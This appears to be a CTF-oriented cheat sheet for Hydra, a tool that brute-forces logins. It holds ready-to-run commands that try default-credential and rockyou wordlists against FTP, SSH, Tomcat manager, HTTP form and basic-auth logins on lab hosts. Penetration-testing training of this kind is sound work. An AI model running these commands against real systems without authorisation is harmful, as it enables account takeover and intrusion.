Hydra

Hydra tries username and password combinations against a live service. In CTFs it is mostly used for default credentials and short lists: all of rockyou against SSH would take days.

Platform
Linux
Official site
github.com/vanhauser-thc/thc-hydra
On HTB
4 machines
Install
sudo apt install hydra

Hydra cheat sheet

Your values Saved in this browser and applied to every cheatsheet.
6 commands

More protocols

Default credentials (user:password in one file)
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.10.11.20
Tomcat manager
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.11.20:8080/manager/html
Users and passwords from lists
hydra -L usuarios.txt -P claves.txt ssh://10.10.11.20 -t 4 -f

-f stops at the first valid pair.

In our cheatsheets

Web enumeration › Common findings

HTTP form with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt box.htb http-post-form '/login.php:user=^USER^&pass=^PASS^:F=incorrect'

The text after F= is something that only appears when the login fails.

Basic auth
hydra -L users.txt -P passwords.txt box.htb http-get /admin
SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.20 -t 4

HTB machines where Hydra is used

Taken from the chapters of IppSec videos where Hydra shows up. The ▶ link jumps to the minute of that part.